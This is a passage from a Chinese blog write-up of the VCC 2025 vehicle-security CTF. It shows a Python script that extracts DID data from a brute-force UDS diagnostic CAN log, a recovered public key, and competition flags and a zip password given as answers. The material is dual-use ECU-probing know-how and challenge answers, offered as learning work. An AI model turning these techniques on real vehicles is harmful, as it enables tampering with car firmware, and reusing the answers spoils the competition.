<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/tags/%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/tags/%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Fri, 22 Aug 2025 17:22:23 +0800</lastBuildDate><item><title>Vehicle Cybersecurity Competition CTF 2025 Writeup</title><link>https://h4cker.zip/1f51f4/</link><pubDate>Fri, 22 Aug 2025 17:22:23 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/1f51f4/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>这个比赛名字怎么不统一？之前叫Automotive，是和Vicone合办的，现在叫Vehicle 之类，全称：Global Vehicle Cybersecurity Competition (VCC) 2025</p>
<p>这个赛事是8月22-25和8月29日-9月1日</p>
<p>2024的还没学完，做这个属实不太好，目前 ICV技能树一个都没点完。</p>
<p>今年分了红蓝队两种类型，做了那个签到才能解锁后续题目，这几天是边学边做，但几个地方仍然没有头绪</p>
<p>这里主要参考的yichen大佬，具体知识点我再研究研究</p>
<p>后记：靶场关了，少部分题目迁移到了靶场，也无法复现了，贴一下各家wp：</p>
<blockquote>
<p>yichen的wp：<a
  href="https://mp.weixin.qq.com/s/iy8MbbxXgSyhL5ut60KxgQ" rel="nofollow noopener noreferrer" target="_blank"
  >https://mp.weixin.qq.com/s/iy8MbbxXgSyhL5ut60KxgQ<span style="user-select:none"> ↗</span></a
>
；</p>
<p>第一的wp，他做出了全部题目，不过wp貌似没有全放上来：<a
  href="https://icanhack.nl/blog/blockharbor-ctf-2025-writeup/" rel="nofollow noopener noreferrer" target="_blank"
  >https://icanhack.nl/blog/blockharbor-ctf-2025-writeup/<span style="user-select:none"> ↗</span></a
>
，</p>
<p>某选手的password_change_policy wp：<a
  href="https://dparnishchev.github.io/posts/vcc_2025_password_change_policy/" rel="nofollow noopener noreferrer" target="_blank"
  >https://dparnishchev.github.io/posts/vcc_2025_password_change_policy/<span style="user-select:none"> ↗</span></a
>
</p>
<p>某选手韩语wp：<a
  href="https://taesam.tistory.com/51" rel="nofollow noopener noreferrer" target="_blank"
  >https://taesam.tistory.com/51<span style="user-select:none"> ↗</span></a
>
</p>
</blockquote>
<h2 id="competition-rules签到">Competition Rules（签到）<a class="anchor" href="#competition-rules签到">#</a></h2>
<blockquote>
<p>To begin this competition and unlock the challenges you must thoroughly read through the <a
  href="https://vcc.blockharbor.io/rules" rel="nofollow noopener noreferrer" target="_blank"
  >rules<span style="user-select:none"> ↗</span></a
>
 to find this flag.</p>
<p>By submitting this flag you acknowledge agreement to the rules of this competition.</p>
<p>要开始本次比赛并解锁挑战，您必须仔细阅读规则以找到此标志。</p>
<p>提交此标志即表示您已同意本比赛的规则。</p>
</blockquote>
<p>flag在<a
  href="https://vcc.blockharbor.io/rules" rel="nofollow noopener noreferrer" target="_blank"
  >规则<span style="user-select:none"> ↗</span></a
>
的9.2 Sharing Knowledge</p>
<p>While collaboration between players during the competition is prohibited, sharing knowledge and experiences after the event is encouraged. The only exception is the solution to the first challenge: &ldquo;<strong>i-accept-the-rules</strong>&rdquo; which should not be shared at any time.</p>
<h2 id="blue-team-challenges">Blue Team Challenges<a class="anchor" href="#blue-team-challenges">#</a></h2>
<h3 id="tara-challenge">TARA Challenge<a class="anchor" href="#tara-challenge">#</a></h3>
<p>这个是白送的，给了一个表格，我还以为要做威胁分析打分，谁知道提交就行，测验到了一定分数就给flag，测验全问AI的</p>
<p><strong>BHVicOne:rXaARH0%dL</strong></p>
<h2 id="red-team-challenges">Red Team Challenges<a class="anchor" href="#red-team-challenges">#</a></h2>
<h3 id="autograph-ramn">AutoGraph [RAMN]<a class="anchor" href="#autograph-ramn">#</a></h3>
<blockquote>
<p>Participants are provided with signed firmware files and a diagnostic log file from a &ldquo;caringcaribou&rdquo; UDS RDBI dump, related to a secret over-the-air (OTA) firmware portal in development for RAMN&rsquo;s ECU B and C.</p>
<p>This challenge invites you to delve into intricate vehicle communication data and sophisticated security mechanisms. Can you leverage this information to unlock the ability to sign your own firmware files? Success in this endeavor promises to enable you in learning more about firmware authentication.</p>
<p><strong>Prompt:</strong> I downloaded a firmware update for RAMN’s ECU B and C from a secret OTA portal in development. Can you help me sign my own firmware files? I have attached a caringcaribou UDS RDBI dump log file, if that is any help. (Note: flag is secret key in decimal format – not hexadecimal. It is NOT the password for the .zip file).</p>
<p>参赛者将获得已签名的固件文件以及来自“caringcaribou” UDS RDBI 转储的诊断日志文件，这些文件与 RAMN 的 ECU B 和 C 正在开发中的秘密空中固件（OTA）门户相关。</p>
<p>本挑战要求你深入研究复杂的车辆通信数据和先进的安全机制。你能否利用这些信息解锁签名自有固件文件的能力？成功完成此任务将使你进一步了解固件认证。</p>
<p>提示：我从一个正在开发的秘密 OTA 门户下载了 RAMN 的 ECU B 和 C 的固件更新。你能帮我签名自己的固件文件吗？我已附上一个 caringcaribou UDS RDBI 转储日志文件，或许能有所帮助。（注意：flag 为十进制格式的密钥——不是十六进制。它不是.zip 文件的密码。）</p>
</blockquote>
<p>附件是challenge4_RDID_dump.log和challenge_signed_firmware_files.zip</p>
<p>我最初没看出来日志是什么，yichen的wp说是 <a
  href="https://github.com/CaringCaribou/caringcaribou" rel="nofollow noopener noreferrer" target="_blank"
  >caringcaribou<span style="user-select:none"> ↗</span></a
>
 暴破DID，然后去看了这个工具，以及问了AI，不得不说，再入门一个新行业的时候，各种原理、概念不懂，通过AI学习真的是事半功倍。</p>
<p>为什么是DID暴破流量？</p>
<ol>
<li>看请求ID：<strong><code>7E3</code></strong> 是诊断请求（Tester → ECU），<strong><code>7EB</code></strong> 是 ECU 回复（ECU → Tester）。这正是典型的 <strong>诊断会话 ID 对</strong>。统计结果也印证了：<code>7E3</code> 里有 <strong>8033 条 SF(len&gt;0)</strong>（请求），<code>7EB</code> 里有 <strong>8028 条 SF(len&gt;0)</strong> + 一些 FF/CF（应答）。
这就是完整的请求-应答对。</li>
<li>看请求数据域格式（除掉 PCI）：<code>0x22 DID_H DID_L ...</code> = <strong>ReadDataByIdentifier</strong>。在日志里，7E3 的有效载荷几乎都是 <code>22 xx xx</code>，只是 DID 每次都在变。这就是“逐个尝试不同 DID”的特征。</li>
<li>看 ECU 的回应，<strong>大多数 7EB 应答是</strong> <code>7F 22 31</code> → 否定应答（服务 0x22，NRC=0x31：Request Out Of Range）。说明这个 DID 不支持。少数会返回 <strong>0x62 DID_H DID_L &hellip;</strong> → 肯定应答，带数据。这种模式正好符合“暴破 DID”：测试仪在循环遍历 DID，ECU不支持的都返回 0x31，支持的才回 0x62。</li>
</ol>
<p>在VSEC 2024那篇文章说过DID是存储一些信息的段，通过SID=22的协议去读，所以这里暴破DID就是在遍历所有数据。这里要判断PCI，PCI就是数据域的第一个字节，下面PCI高代表PCI的高四位。</p>
<ul>
<li>单帧：PCI高=0，第一个字节的低四位是数据长度，第二个字节是SID+0x40（0x7F代表否定），第三、四个字节是DID。后面长度对应的字节就是数据</li>
<li>首帧：PCI高=1，第一个字节的低四位和第二个字节共同组成总长度，第三个字节是SID+0x40，第四、五个字节是请求帧的DID。后面是数据</li>
<li>连续帧：PCI高=2，第一个字节的低四位是表示第几个帧，后面都是数据</li>
</ul>
<p>这里要提取数据，不仅要通过PCI截取不同长度的数据，还要判断长度是否合规，比如有效单帧的帧长度是大于等于3的，第二字节是0x62。如果数据长度是0也要排除掉。</p>
<p>根据前面的分析，其实能确定CAN ID是7EB的是回复了，不过脚本不需要用到CAN ID，因为是通过长度和PCI判断的。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">file</span><span class="o">=</span><span class="s2">&#34;challenge4_RDID_dump.log&#34;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1"># 解析每行的CAN ID和数据域</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">def</span> <span class="nf">parse_candump_log</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">m</span><span class="o">=</span><span class="n">re</span><span class="o">.</span><span class="k">match</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;.*can0\s+(\w+)#([0-9A-Fa-f]+)&#34;</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">m</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">return</span> <span class="kc">None</span><span class="p">,</span> <span class="kc">None</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">can_id</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">return</span> <span class="n">can_id</span><span class="p">,</span> <span class="n">data</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1"># 把每个DID的数据都以DID为键名存到字典里</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">def</span> <span class="nf">extract_data</span><span class="p">(</span><span class="n">file</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="c1"># 初始化存放结果和连续帧的字典</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">result</span><span class="o">=</span><span class="p">{}</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">multi_frame</span><span class="o">=</span><span class="p">{}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">            <span class="c1"># 提取每行的CAN ID，数据域</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="n">can_id</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">parse_candump_log</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">            <span class="k">if</span> <span class="n">data</span> <span class="ow">is</span> <span class="kc">None</span> <span class="ow">or</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">                <span class="k">continue</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="c1"># 提取第一个字节的高4位为PCI</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">            <span class="n">pci</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">            <span class="k">if</span> <span class="n">pci</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">                <span class="c1"># 提取应用数据长度</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">                <span class="n">length</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x0F</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">                <span class="c1"># 这里验证的是ISO-TP层长度，如果实际总长小于写的长度，说明CAN帧残缺</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">&lt;</span><span class="mi">1</span><span class="o">+</span><span class="n">length</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">                    <span class="k">continue</span> 
</span></span><span class="line"><span class="ln">34</span><span class="cl">                <span class="c1"># 把ISO-TP层的载荷提取出来，UDS报文就是这个载荷</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">                <span class="n">payload</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="n">length</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">                <span class="c1"># 有效UDS回复帧，必定包含SID、DID，至少三个字节,少于3个字节，说明ISO-TP层写的长度短了，此帧有误，不管它</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">                <span class="c1"># 要求必须是0x22的肯定响应</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">&gt;=</span><span class="mi">3</span> <span class="ow">and</span> <span class="n">payload</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="mh">0x62</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">                    <span class="n">did</span><span class="o">=</span><span class="n">payload</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">                    <span class="n">result</span><span class="p">[</span><span class="n">did</span><span class="p">]</span><span class="o">=</span><span class="n">payload</span><span class="p">[</span><span class="mi">3</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">            
</span></span><span class="line"><span class="ln">42</span><span class="cl">            <span class="k">elif</span> <span class="n">pci</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">                <span class="c1"># 首帧至少要有 PCI + 长度 + 0x62 + DID，5个字节</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">                <span class="c1"># 而且首帧肯定带满数据，长度一定是8，如果总长小于8，说明此帧残缺</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">:</span>  
</span></span><span class="line"><span class="ln">46</span><span class="cl">                    <span class="k">continue</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">                <span class="c1">#传输的数据总长度</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">                <span class="n">total_len</span><span class="o">=</span><span class="p">((</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mh">0x0F</span><span class="p">)</span><span class="o">&lt;&lt;</span><span class="mi">8</span><span class="p">)</span><span class="o">|</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> 
</span></span><span class="line"><span class="ln">49</span><span class="cl">                <span class="c1"># 首帧的UDS响应</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">                <span class="n">payload</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">&gt;=</span><span class="mi">3</span> <span class="ow">and</span> <span class="n">payload</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="mh">0x62</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">                    <span class="n">did</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">3</span><span class="p">]</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">                    <span class="n">multi_frame</span><span class="p">[</span><span class="n">did</span><span class="p">]</span><span class="o">=</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">                        <span class="s2">&#34;total_len&#34;</span><span class="p">:</span><span class="n">total_len</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">                        <span class="s2">&#34;data&#34;</span><span class="p">:</span><span class="n">payload</span><span class="p">[</span><span class="mi">3</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">
</span></span><span class="line"><span class="ln">58</span><span class="cl">
</span></span><span class="line"><span class="ln">59</span><span class="cl">            <span class="k">elif</span> <span class="n">pci</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">                <span class="c1">#连续帧必须有PCI和1个数据，所以最少2个字节</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span> 
</span></span><span class="line"><span class="ln">62</span><span class="cl">                    <span class="k">continue</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">                <span class="k">for</span> <span class="n">did</span><span class="p">,</span> <span class="n">mf</span> <span class="ow">in</span> <span class="n">multi_frame</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">                    <span class="c1"># 减3是因为首帧提取的总长度包括了SID，DID的三个字节</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">                    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">])</span> <span class="o">&lt;</span> <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;total_len&#34;</span><span class="p">]</span> <span class="o">-</span> <span class="mi">3</span><span class="p">:</span> 
</span></span><span class="line"><span class="ln">67</span><span class="cl">                        <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">]</span> <span class="o">+=</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">                        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">])</span> <span class="o">&gt;=</span> <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;total_len&#34;</span><span class="p">]</span> <span class="o">-</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">69</span><span class="cl">                            <span class="n">result</span><span class="p">[</span><span class="n">did</span><span class="p">]</span> <span class="o">=</span> <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl">
</span></span><span class="line"><span class="ln">71</span><span class="cl">    <span class="k">return</span> <span class="n">result</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl">
</span></span><span class="line"><span class="ln">73</span><span class="cl"><span class="k">for</span> <span class="n">did</span><span class="p">,</span><span class="n">value</span> <span class="ow">in</span> <span class="n">extract_data</span><span class="p">(</span><span class="n">file</span><span class="p">)</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl">        <span class="n">text</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">&#34;ascii&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">76</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;DID 0x</span><span class="si">{</span><span class="n">did</span><span class="si">}</span><span class="s2">: </span><span class="si">{</span><span class="n">text</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl">    <span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">78</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;DID 0x</span><span class="si">{</span><span class="n">did</span><span class="si">}</span><span class="s2">: </span><span class="si">{</span><span class="n">value</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>我写得比AI好一点，AI居然还求通过连续帧的第一个字节低4位，求连续帧数据长度</p>
<p>运行脚本</p>
<p>可以看到有一个公钥：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">-----BEGIN PUBLIC KEY-----
</span></span><span class="line"><span class="ln">2</span><span class="cl">MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEzWvXZ0MMevWSHMMCzdJKOq2uXr1kg45NS1z0w8ZWc0Lr
</span></span><span class="line"><span class="ln">3</span><span class="cl">n2qYn0QsXdR3aTXK9kDmPx2fH3wxt9OkhrwHnl+Hsg==
</span></span><span class="line"><span class="ln">4</span><span class="cl">-----END PUBLIC KEY-----</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">pgp</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>还有一个<code>SECP256k1</code></p>
<p>zip密码可以暴破出来：password12345678</p>
<p>里面有俩hex文件，俩hex.sig文件，hex文件问了AI才知道是ARM架构的芯片固件，不过这里没什么用处</p>
<p>Qwen-Coder很强：https://chat.qwen.ai/s/b575892d-d560-46e4-a329-df2c27734fae?fev=0.0.191</p>
<p>两个sig文件前面一样，我windows装了xxd，所以能直接看到</p>
